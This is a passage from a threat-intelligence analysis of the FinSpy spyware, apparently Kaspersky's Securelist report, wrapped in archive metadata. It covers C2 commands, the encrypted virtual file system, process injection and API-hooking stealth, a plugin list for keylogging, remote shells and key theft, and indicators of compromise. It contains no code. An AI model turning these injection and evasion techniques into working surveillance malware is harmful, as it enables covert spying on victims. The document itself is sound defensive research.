C2 server. In particular, it contacts the C2\r\nserver, sends heartbeats messages and receives commands. The thread dispatches received commands to plugins\r\nand sends their execution results back to the server.\r\nBelow is a list of the Orchestrator commands:\r\nCommand ID Description\r\nCommands related to recordings\r\n0x8072A0 Upload a recording file with a specified name to the C2 server.\r\n0x8076A0,\r\n0x807AA0\r\nDelete a recording with a given filename from the system.\r\n0x8078A0 Retrieve the list of all the recordings present on the victim machine.\r\n0x8070A0 Retrieve the list of recordings made by a plugin with the specified ID.\r\nCommands related to the configuration\r\n0x8030A0 Send the current configuration to the server.\r\n0x8032A0 Change the Orchestrator configuration.\r\nCommands related to plugins\r\n0x8009A0 Send a list of installed plugins to the server.\r\n0x8054A0,\r\n0x805BA0\r\nCommence the plugin installation process by creating a temporary file in the working\r\ndirectory.\r\n0x8056A0,\r\n0x805DA0\r\nAppend a plugin body chunk to the temporary plugin file created by the previous\r\ncommand.\r\n0x8057A0,\r\n0x805EA0\r\nFinalize the plugin installation process. This command moves the contents of the\r\ntemporary file to the virtual file system and loads the new plugin.\r\n0x8059A0\r\nUninstall a plugin from the machine. This command unloads the specified plugin and\r\nremoves it from the VFS.\r\nMiscellaneous commands\r\n0x8018A0\r\nUninstall the backdoor. This command wipes all the files and registry keys created by the\r\nbackdoor, as well as restores the MBR and the EFI Windows Boot Manager (provided they\r\nwere infected) from backups.\r\n0x807DA0 Close the current C2 server connection.\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 20 of 26\n\n0x7502A0 Terminate all livestreams.\r\nThe Communicator module\r\nThe malware configuration includes one or multiple C2 servers which it can connect to. In case one of the servers\r\nis down, the backdoor uses one of the fallback addresses. FinSpy does not communicate with C2 servers directly\r\nfrom winlogon.exe or explorer.exe. Instead, it spawns a default browser process with a hidden window and injects\r\nthe Communicator module in it. This is done to make communications look legitimate.\r\nThe Virtual File System component\r\nThe Virtual File System is the place where all the plugin executables and their configurations hide. All the virtual\r\nfiles are stored in a single “real” file, which is encrypted with RC4 and has the following structure:\r\nFile offset Description\r\n0x0 CRC32 checksum of the file (the checksum computation starts from offset 4)\r\nVFS entry #1\r\n0x4\r\nID of the plugin corresponding to the file. The Orchestrator configuration is stored on the\r\nVFS with ID 0xFFFFFFFE.\r\n0x8 0x0 if the file is a plugin configuration, 0x2 if it is a plugin executable.\r\n0xC File size.\r\n0x10 File size again.\r\n0x14 File body bytes.\r\nVFS entry #2\r\n…\r\nThe last VFS entry has the ID equal to 0xFFFFFFFF and zero size. It serves as the VFS end marker.\r\nEndOfFile –\r\n0x10\r\n0xFFFFFFFF\r\n EndOfFile  –\r\n0xC\r\n0x0\r\nEndOfFile –\r\n0x8\r\n0x0\r\nEndOfFile –\r\n0x4\r\n0x0\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 21 of 26\n\nThe VFS is accessed via file management functions hooked by the Orchestrator. For example, virtual files can be\r\ncreated or opened via the hooked CreateFileW API. The return value of the hooked file creation function is a\r\nVFS handle, which is a number of the format 0xFF000XXX.\r\nThe ProcessWorm\r\nThe malware injects the ProcessWorm into all processes running on the system. Its main purpose is to extract\r\nspecific information about running processes and send it to the Orchestrator or the plugins.\r\nThe ProcessWorm is a DLL wrapped in a shellcode and obfuscated with FinSpy VM. The ProcessWorm can be\r\ninjected to processes in two ways – either by spawning a remote thread with the shellcode or by creating an APC\r\n(Asynchronous Procedure Call) with the procedure address pointing to the start of the shellcode. The latter one is\r\nused when the ProcessWorm is injected into newly created processes.\r\nThe loader code behaves differently depending on the chosen injection type. While the loader used with the first\r\ninjection method is simple, the one invoked in case of APC injections is rather interesting. The asynchronous\r\nprocedure places a hook on the NtTestAlert function and then exits. When the process executable is loaded,\r\nntdll.dll will call the NtTestAlert function. Its modified version will first call the original NtTestAlert function\r\nand then invoke the ProcessWorm reflective loader.\r\nThe ProcessWorm reflective loader comes with a twist. When it processes imports, it does not assign a function\r\npointer to each entry in the IAT. Instead, IAT entries point to buffers of randomly generated junk code. This code\r\nobtains the address of the destination API function by XOR-ing two numbers and then jumps to it.\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 22 of 26\n\nExample of junk code created by the ProcessWorm loader, useful instructions are highlighted in yellow\r\nWhile executing its worm-like activity, the ProcessWorm injects itself into processes created by the process that\r\nare already infected with this component. To do that, it places a hook on the CreateProcessInternalW API\r\nfunction. If the new process is not created with a DEBUG_PROCESS or a DEBUG_ONLY_THIS_PROCESS\r\nflag, the hooked process creation function clears a possible hook of the  NtQueueAPCThread function and then\r\nuses it to create an APC procedure in the new process. When the new process starts up, the ProcessWorm will be\r\nloaded with the help of the APC injection loader.\r\nDepending on the malware configuration, the ProcessWorm may hide the presence of FinSpy on the victim\r\nmachine. It can conceal the malware’s working directory, services, registry keys, C2 server addresses, as well as\r\nfilter out event logs related to the malicious activity. The ProcessWorm achieves stealth by hooking low-level API\r\nfunctions (such as NtEnumerateValueKey or NtQuerySystemInformation)\r\nThe rest of the malicious activity is dispersed across hooks of various WinAPI functions. They are placed in order\r\nto provide information to the plugins bundled with the malware. Examples of such information are typed\r\nkeystrokes or documents sent to the printer.\r\nThe macOS and Linux Orchestrator\r\nThe macOS/Linux orchestrator is a simplified version of the Windows orchestrator. Unlike the Windows version,\r\nit does have the following components:\r\nThe Virtual File System (plugins and configurations are stored in separate files)\r\nThe ProcessWorm (its functionality is embedded into plugins)\r\nThe communicator module (the Orchestrator exchanges data with C2 servers without additional modules)\r\nThe application watcher (the Orchestrator does not report started or stopped processes to C2 servers)\r\nThe functionalities of the Orchestrator remain the same: exchanging information with the C2 server, dispatching\r\ncommands to plugins and managing recording files.\r\nPlugins overview\r\nIn the chart below we summarize information about plugins.\r\nPlugin type and ID Features\r\nFileManager (0x02) Upload, download, search, delete files. Create file listing recordings\r\nCommandShell (0x04) Create remote shell sessions\r\nTaskScheduler (0x05)\r\nCreate different types of recordings (file listings, microphone, screen,\r\nwebcam) at a specified time by dispatching commands to appropriate\r\nplugins\r\nMicRecorder (0x10) Livestream the victim’s microphone or capture its recordings.\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 23 of 26\n\nKeyLogger (0x12) Livestream or record keystrokes\r\nSkypeStealer (0x14) Intercept Skype contacts, chats, calls and transferred files\r\nFileModificationRecorder\r\n(0x16)\r\nRecord files which have been modified\r\nFileAccessRecorder (0x17) Record files which have been accessed\r\nPrintedFilesRecorder (0x18) Steal files which are printed by the victim\r\nFileDeletionRecorder (0x19) Record removed files\r\nForensicLauncher (0x20)\r\nGather forensic data by downloading and executing specific utilities.\r\n(Windows only)\r\nVoIPRecorder, VoIPLite (0x21,\r\n0x26)\r\nEavesdrop on, and take screenshots during, online conversations.\r\n(Windows only)\r\nClickRecorder (0x22) Capture the screen area around mouse click locations\r\nWebcamRecorder (0x23)\r\nTake webcam images with a specified frame rate, and livestream or record\r\nthem.\r\nScreenRecorder (0x24)\r\nTake screenshots with a specified frame rate, and livestream or record\r\nthem.\r\nBlackberryInfect (0x25)\r\nInfect Blackberry mobile devices with a malicious application. (Windows\r\nonly)\r\nEmailRecorder (0x27) Steal email from Thunderbird, Outlook, Apple Mail and Icedove\r\nWiFiRecorder (0x28) Monitor available Wi-Fi networks\r\nRemovableRecorder (0x29) Record files on inserted removable media\r\nCryptoKeyRecorder (0x30)\r\nCapture encryption keys: SSL keys, S/MIME certificates, GPG/PGP\r\nkeychains along with their passphrases. (Windows only)\r\nThe full details of this research, as well as future updates on FinSpy, are available to customers of the APT\r\nreporting service through our Threat Intelligence Portal.\r\nIoCs\r\nThe following IoC list is not complete. If you want more information about the APT discussed here, a full IoC list\r\nand YARA rules are available to customers of Kaspersky Threat Intelligence Reports.\r\nContact: intelreports@kaspersky.com\r\nFile Hashes\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 24 of 26\n\n5EDF9810355DE986EAD251B297856F38\r\n31F1D208EE740E1FDF9667B2E525F3D7\r\n4994952020DA28BB0AA023D236A6BF3B\r\n262C9241B5F50293CB972C0E93D5D5FC\r\n405BB24ADE435693B11AF1D81E2BB279\r\nEF74C95B1DBDBF9BD231DA1EE99F0A7E\r\nB8A15A0CE29692FBA36A87FCDED971DE\r\nFile Paths\r\n\\efi\\microsoft\\boot\\en-us\\%HEXNUMS% – on EFI disk partition\r\n/Library/Frameworks/Storage.framework – for Mac OS version\r\nMutexes\r\nSessionImmersiveMutex\r\nWininetStartupMutex0\r\nEvents\r\n0x0A7F1FFAB12BB2\r\nWinlogonLogon\r\nDebug.Trace.Event.f120.0.v1\r\nTermSrvReadyEvent%HEXNUMS%\r\nSessionImmersiveEvent\r\nFilemappings\r\n0x0A7F1FFAB12BB3\r\nwindows_shell_global\r\nMailslots\r\nmailslot\\x86_microsoft.windows.c-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_581cd2bf5825dde9\r\nmailslot\\x86_microsoft.vc90.mfc_1fc8b3b9a1e18e3b_9.0.30729.6161_none_4bf7e3e2bf9ada4c\r\nmailslot\\6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\r\nmailslot\\ConsoleEvent-0x00000DAC–16628266191048322066-650920812-1622683116-1844332734-\r\n1046489716-2050906124-443455187\r\nDomains and IPs\r\n45.86.136[.]138\r\n79.143.87[.]216\r\n185.25.51[.]104\r\n109.235.67[.]175\r\n213.252.247[.]105\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 25 of 26\n\n108.61.190[.]183\r\n185.141.24[.]204\r\n1\r\n Extended BIOS Data Area (https://wiki.osdev.org/Memory_Map_(x86))\r\nSource: https://securelist.com/finspy-unseen-findings/104322/\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 26 of 26",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"ETDA",
		"Malpedia"
	],
	"references": [
		"https://securelist.com/finspy-unseen-findings/104322/"
	],
	"report_names": [
		"104322"
	],
	"threat_actors": [],
	"ts_created_at": 1775434685,
	"ts_updated_at": 1775791220,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/fd0d2e76d70b7e95391ab5a99553339f9d50552c.pdf",
		"text": "https://archive.orkl.eu/fd0d2e76d70b7e95391ab5a99553339f9d50552c.txt",
		"img": "https://archive.orkl.eu/fd0d2e76d70b7e95391ab5a99553339f9d50552c.jpg"
	}
}